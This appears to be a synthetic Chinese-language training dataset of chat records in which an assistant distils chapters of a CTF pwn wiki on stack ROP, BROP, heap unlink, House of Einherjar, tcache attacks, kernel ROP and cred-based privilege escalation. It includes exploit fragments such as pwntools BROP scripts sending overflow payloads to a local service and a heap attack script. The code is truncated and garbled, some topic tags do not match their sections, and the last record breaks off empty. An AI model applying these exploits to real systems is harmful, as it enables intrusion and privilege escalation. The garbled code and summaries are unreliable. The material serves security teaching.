- ```python ##length = getbufferflow_length() length = 72 ##stop_gadget = get_stop_addr(length) stop_gadget = 0x4006b6 ##brop_gadget = find_brop_gadget(length,stop_gadget) brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 ##puts_plt = get_puts_addr(length, rdi...
- sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n') payload = 'a' length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64( stop_gadget) sh.sendline(payload) data = sh.recvuntil('\nWelCome', drop=True) puts_addr = u64(data.ljust(8, '\x00')) libc =...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:python

代码/命令片段线索：
- python: 26 行，首行 `##length = getbufferflow_length()`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

程序利用

中级ROP BROP 例子 程序利用

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:python

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「after unlink, ptr[0] = ptr - 0x18」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：after unlink, ptr[0] = ptr - 0x18
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“after unlink, ptr[0] = ptr - 0x18”展开。
- deletenote(2) `` 首先释放 chunk1，由于该chunk属于fastbin，所以下次在申请的时候仍然会申请到该chunk，同时由于上面所说的类型问题，我们可以读取任意字符，所以就可以覆盖chunk2，覆盖之后如图2所示。
- 即将要执行的操作为unlink(ptr[0])，同时我们所构造的fakebk和fakefd满足如下约束 `c if (__builtin_expect (FD->bk !
- = P, 0)) \ `` unlink成功执行，会导致ptr[0]所存储的地址变为fakebk，即ptr-0x18。

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 1 行，首行 `首先释放 chunk1，由于该chunk属于fastbin，所以下次在申请的时候仍然会申请到该chunk，同时由于上面所说的类型问题，我们可以读取任意字符，所以就可以覆盖chunk2，覆盖之后如图2所示。`
- plain: 1 行，首行 `该覆盖主要是为了释放chunk2的时候可以后向合并（合并低地址），对chunk0中虚拟构造的chunk进行unlink。即将要执行的操作为unlink(ptr[0])，同时我们所构造的fakebk和fakefd满足如下约束`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

after unlink, ptr[0] = ptr - 0x18

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/rop.md` 中的章节「状态保存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/rop.md`
标题：Kernel ROP
章节：Kernel ROP > 状态保存
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“状态保存”展开。
- 通常情况下，我们的exploit需要进入到内核当中完成提权，而我们最终仍然需要着陆回用户态以获得一个root权限的shell，因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上，以便于后续着陆回用户态。
- 通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中，以便于构造 rop 链： > 算是一个通用的pwn板子。
- > > 方便起见，使用了内联汇编，由于编写风格是 Intel 汇编，编译时需要指定参数：``-masm=intel`。
- `c size_t user_cs, user_ss, user_rflags, user_sp;
- void save_status(void) { asm volatile ( "mov user_cs, cs;

关键术语：
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 12 行，首行 `size_t user_cs, user_ss, user_rflags, user_sp;`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

状态保存

栈 ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation code:c

Kernel ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「entry point」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`
标题：编写一个 Loadable Kernel Module
章节：entry point
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“entry point”展开。
- $(MODULE_NAME)-y ：$(MODULE_NAME).o所需要的目标文件，-y 意味着编译过程需要该文件，这里我们加入了一个 main.o ，意味着我们的源码目录下应当有一个 main.c。
- $(MODULE_NAME)-y += main.o `` 各符号说明如下： - MODULE_NAME ：一个简单的自定义变量，我们用来定义我们的模块名。
- 相应地，由于我们已经在 Kbuild 当中指示了模块的构建行为，我们只需要在源码根目录的 Makefile 当中写入通用性内容，这里我们的 Makefile 写入如下： ``makefile
- ccflags-y ：ccflags 意味着编译选项，-y 意味着开启的编译选项，这里我们添加了 -I 选项以引入我们自己的头文件目录（只是作为示范，本节实际上不涉及复杂代码结构），更多编译选项可以参见 GCC 的文档。
- obj-m ：这个符号用来指定要被编译的内核模块列表，+= 意味着添加上我们的内核模块，而 $(MODULE_NAME).o 则是我们的内核模块编译的后期产物，这通常由单个或多个目标文件合并而成，最后会被链接为 $(MODULE_NAME).ko 文件，也就是我们所熟悉的 LKM ELF；

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- environment

代码/命令片段线索：
- plain: 6 行，首行 `各符号说明如下：`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

entry point

编写一个 Loadable Kernel Module


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「攻击过程示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`
标题：House Of Einherjar
章节：House Of Einherjar > 原理 > 攻击过程示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“攻击过程示例”展开。
- 可以进行 House Of Einherjar 攻击的代码： ``c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void){ char s0 = malloc(0x200);
- } ` 攻击代码如下： `python from pwn import p = process("./example") context.log_level = 'debug' #gdb.attach(p) p.recvuntil("begin\n") address = int(p.recvline().strip(), 16) p.recvuntil("input s0\n") payload = p64(0) + p64(0x101) + p64(address) 2 + "A"0xe0 ''' p64...
- `` 所以只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就好了。
- = P, 0)) \ malloc_printerr ("corrupted double-linked list");
- 这是因为对 size 和 prev_size 的验证只发生在 unlink 里面，而 unlink 里面是这样验证的: `c if (__builtin_expect (chunksize(P) !

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c
- code:python

代码/命令片段线索：
- c: 17 行，首行 `#include <stdio.h>`
- python: 20 行，首行 `from pwn import *`
- c: 2 行，首行 `p->fd = &p-3*4`
- c: 2 行，首行 `p->fd = p`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

攻击过程示例

堆 AI安全 漏洞利用 pwn linux user-mode heap code:c code:python

House Of Einherjar


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md` 中的章节「方法一、修改当前进程的 task\_struct 的 cred 为 init\_cred」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/page-uaf.md`
标题：Page-level UAF
章节：Page-level UAF > 例题：D^3CTF2023 - d3kcache > 漏洞利用 > Step.IV - 提权 > 方法一、修改当前进程的 task\_struct 的 cred 为 init\_cred
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“方法一、修改当前进程的 task\_struct 的 cred 为 init\_cred”展开。
- init_cred 为有着 root 权限的 cred，我们可以直接将当前进程的 cred 修改为该 cred 以完成提权，这里iwom可以通过 prctl(PR_SET_NAME, "arttnba3pwnn");
- 此外，我们也可以选择直接修改当前进程的 task_struct::cred 的几个 uid 字段，这里便不再赘述。
- 修改 task_struct.comm ，从而方便搜索当前进程的 task_struct 在内存空间中的位置。
- 不过 init_cred 的符号有的时候是不在 /proc/kallsyms 中导出的，我们在调试时未必能够获得其地址，因此这里笔者选择通过解析 task_struct 的方式向上一直找到 init 进程（所有进程的父进程）的 task_struct ，从而获得 init_cred 的地址。

关键术语：
- UAF
- 堆
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

方法一、修改当前进程的 task\_struct 的 cred 为 init\_cred

Page-level UAF


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md` 中的章节「格式化字符串函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-intro.md`
标题：原理介绍
章节：原理介绍 > 格式化字符串函数介绍 > 格式化字符串函数
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“格式化字符串函数”展开。
- | 函数 | 基本介绍 | | :---------------------: | :-----------------: | | printf | 输出到stdout | | fprintf | 输出到指定FILE流 | | vprintf | 根据参数列表格式化输出到 stdout | | vfprintf | 根据参数列表格式化输出到指定FILE流 | | sprintf | 输出到字符串 | | snprintf | 输出指定字节数到字符串 | | vsprintf | 根据参数列表格式化输出到字符串...

关键术语：
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

格式化字符串函数

原理介绍 格式化字符串函数介绍 格式化字符串函数

原理介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「确定puts@plt地址」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 例子 > 确定puts@plt地址
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“确定puts@plt地址”展开。
- 根据上面，所说我们可以构造如下payload来进行获取 ``text payload = 'A'72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget) ` 具体函数如下 `python def get_puts_addr(length, rdi_ret, stop_gadget): addr = 0x400000 while 1: print hex(addr) sh = remote('127.0.0.1', 9999) sh.recvun...
- \n') payload = 'A' length + p64(rdi_ret) + p64(0x400000) + p64( addr) + p64(stop_gadget) sh.sendline(payload) try: content = sh.recv() if content.startswith('\x7fELF'): print 'find puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exceptio...

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:text
- code:python

代码/命令片段线索：
- text: 1 行，首行 `payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)`
- python: 19 行，首行 `def get_puts_addr(length, rdi_ret, stop_gadget):`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

确定puts@plt地址

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:text code:python

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「0x02 Tcache Usage」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x02 Tcache Usage
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“0x02 Tcache Usage”展开。
- 内存释放： 可以看到，在free函数的最先处理部分，首先是检查释放块是否页对齐及前后堆块的释放情况，便优先放入tcache结构中。
- ``c _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size;
- / misc temp for linking / size = chunksize (p);
- / We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. / if (__glibc_unlikely (size < MINSIZE || !
- aligned_OK (size))) malloc_printerr ("free(): invalid size");

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 37 行，首行 `_int_free (mstate av, mchunkptr p, int have_lock)`
- c: 47 行，首行 `if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))`
- c: 11 行，首行 `#if USE_TCACHE`
- c: 7 行，首行 `#if USE_TCACHE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x02 Tcache Usage

define TCACHE_FILL_COUNT 7
0x02 Tcache Usage

tcache makes heap exploitation easy again


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「读：0x40」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`
标题：利用 pt\_regs 构造通用内核 ROP
章节：利用 pt\_regs 构造通用内核 ROP > _例题：西湖论剑2021线上初赛 - easykernel_ > 分析 > 读：0x40
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“读：0x40”展开。
- if ( v2 > 0x100 ) { _warn_printk("Buffer overflow detected (%d < %lu)!
- 会调用 show 函数： ``c if ( a2 == 64 ) { if ( !
- copy_from_user(&v12, v2, 24LL) ) { show(&v12);
- } ` 其实就是套了一层皮的读 object 内容，加了 hardened usercopy 检查： `c __int64 __fastcall show(_QWORD a1) { const void v1;
- // [rsp-128h] [rbp-128h] BYREF _fentry__();

关键术语：
- 边界/溢出
- ROP/JOP
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 9 行，首行 `if ( a2 == 64 )`
- c: 26 行，首行 `__int64 __fastcall show(_QWORD *a1)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

读：0x40

利用 pt\_regs 构造通用内核 ROP
_例题：西湖论剑2021线上初赛 - easykernel_
分析
读：0x40

边界/溢出 ROP/JOP 漏洞利用 pwn linux kernel-mode exploitation code:c

利用 pt\_regs 构造通用内核 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「write "/bin/sh"」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：write "/bin/sh"
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“write "/bin/sh"”展开。
- rop = ROP('./main_partial_relro_32') plt0 = elf.get_section_by_name('.plt').header.sh_addr got0 = elf.get_section_by_name('.got').header.sh_addr rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

write "/bin/sh"

边界/溢出 栈 ROP/JOP AI安全 pwn linux user-mode stackoverflow

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache perthread corruption」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`
标题：tcache makes heap exploitation easy again
章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache perthread corruption
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“tcache perthread corruption”展开。
- 因为 tcache_perthread_struct 也在堆上，因此这种方法一般只需要 partial overwrite 就可以达到目的。
- 我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构，如果能控制这个结构体，那么无论我们 malloc 的 size 是多少，地址都是可控的。

关键术语：
- 堆
- 漏洞利用
- pwn
- linux
- user-mode
- heap

代码/命令片段线索：
- plain: 12 行，首行 `tcache_ +------------+`
- plain: 12 行，首行 `tcache_ +------------+<---------------------------+`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

tcache perthread corruption

define TCACHE_FILL_COUNT 7
0x03 Pwn Tcache
tcache perthread corruption


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「commit_creds(&init_cred)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`
标题：Change Self
章节：Change Self > 修改 cred 指针 > 间接定位 > commit_creds(&init_cred)
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“commit_creds(&init_cred)”展开。
- //... rcu_assign_pointer(task->real_cred, new);
- commit_creds() 函数被用以将一个新的 cred 设为当前进程 task_struct 的 real_cred 与 cred 字段，因此若是我们能够劫持内核执行流调用该函数并传入一个具有 root 权限的 cred，则能直接完成对当前进程的提权工作： ``c int commit_creds(struct cred new) { struct task_struct task = current;
- //内核宏，用以从 percpu 段获取当前进程的 PCB const struct cred old = task->real_cred;
- rcu_assign_pointer(task->cred, new);

关键术语：
- AI安全
- pwn
- linux
- kernel-mode
- aim
- code:c

代码/命令片段线索：
- c: 7 行，首行 `int commit_creds(struct cred *new)`
- c: 27 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

commit_creds(&init_cred)

Change Self
修改 cred 指针
间接定位
commit_creds(&init_cred)

Change Self


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「另一个例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`
标题：基本 ROP
章节：基本 ROP > ret2shellcode > 另一个例子
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“另一个例子”展开。
- 这里我们以通过mprotect()动态修改过内存页权限的 ret2shellcode 为例，需要注意的是，这样我们就可以在例如 Ubuntu-22.04 这样的现代操作系统中完成这个实验辣~。
- > 点击下载: ret2shellcode 首先检测程序开启的保护： ```shell

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

另一个例子

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

基本 ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「切分 top」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define DEFAULT_TOP_PAD 131072 > 分配内存块 > 切分 top
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“切分 top”展开。
- ``c / check that one of the above allocation paths succeeded / if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb;
- set_head(remainder, remainder_size | PREV_INUSE);
- remainder = chunk_at_offset(p, nb);
- set_head(p, nb | PREV_INUSE | (av !
- check_malloced_chunk(av, p, nb);

关键术语：
- 堆
- AI安全
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 10 行，首行 `/* check that one of the above allocation paths succeeded */`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

切分 top

define DEFAULT_TOP_PAD 131072
分配内存块
切分 top

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「doLoad」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/android/basic_operating_mechanism/native_layer/so.md`
标题：so 介绍
章节：so 介绍 > 核心加载流程 > doLoad
路径分类：android / android/basic_operating_mechanism/native_layer
分块：1/1

核心知识点：
- 本节主题围绕“doLoad”展开。
- } // nativeLoad should be synchronized so there's only one LD_LIBRARY_PATH in use regardless // of how many ClassLoaders are in the system, but dalvik doesn't support synchronized // internal natives. synchronized (this) { return nativeLoad(name, loader, ld...
- } } `` 虽然源代码很长，但是很多部分都是注释，也说明了为什么要使用这样的一个函数的原因，主要有以下原因 - Android App 都是由 zygote fork 生成的，因此他们的 LD_LIBRARY_PATH 就是 zygote 的LD_LIBRARY_PATH，这也说明 apk 中的 so 文件不在这个路径下。
- = null && loader instanceof BaseDexClassLoader) { ldLibraryPath = ((BaseDexClassLoader) loader).getLdLibraryPath();
- so 文件之间可能存在相互依赖，我们需要按照其按依赖关系的逆方向进行加载。
- 函数的基本思想就是找到库文件的路径，然后使用 synchronized 方式调用了 nativeLoad 函数。

关键术语：
- ROP/JOP
- Android逆向
- android
- basic-operating-mechanism
- native-layer
- so.md
- code:java

代码/命令片段线索：
- java: 26 行，首行 `private String doLoad(String name, ClassLoader loader) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

doLoad

so 介绍
核心加载流程
doLoad

ROP/JOP Android逆向 android basic-operating-mechanism native-layer so.md code:java

so 介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > hijack GOT > 原理
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 假设我们将函数 A 的地址覆盖为函数 B 的地址，那么这一攻击技巧可以分为以下步骤 - 确定函数 A 的 GOT 表地址。
- 这一步我们利用的函数 A 一般在程序中已有，所以可以采用简单的寻找地址的方法来找。
- 这一步一般来说需要我们利用函数的漏洞来进行触发。
- 一般利用方法有如下两种 - 写入函数：write 函数。
- 此外，在没有开启 RELRO 保护的前提下，每个 libc 的函数对应的 GOT 表项是可以被修改的。

关键术语：
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr
- code:text

代码/命令片段线索：
- text: 3 行，首行 `pop eax; ret; # printf@got -> eax`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

ROP/JOP 漏洞利用 pwn linux user-mode fmtstr code:text

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Partial RELRO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`
标题：ret2dlresolve
章节：read /bin/sh\x00 > Partial RELRO
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“Partial RELRO”展开。
- 还是利用 2015 年 xdctf 的 pwn200 进行介绍。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:shell

代码/命令片段线索：
- shell: 8 行，首行 `❯ gcc -fno-stack-protector -z relro -no-pie ../../main.c -o main_partial_relro_64`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Partial RELRO

边界/溢出 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:shell

ret2dlresolve


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「FlatView：MR 树对应的 Guest 视角物理地址空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`
标题：QEMU 内存管理
章节：QEMU 内存管理 > Guest VM 视角（GPA） > FlatView：MR 树对应的 Guest 视角物理地址空间
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
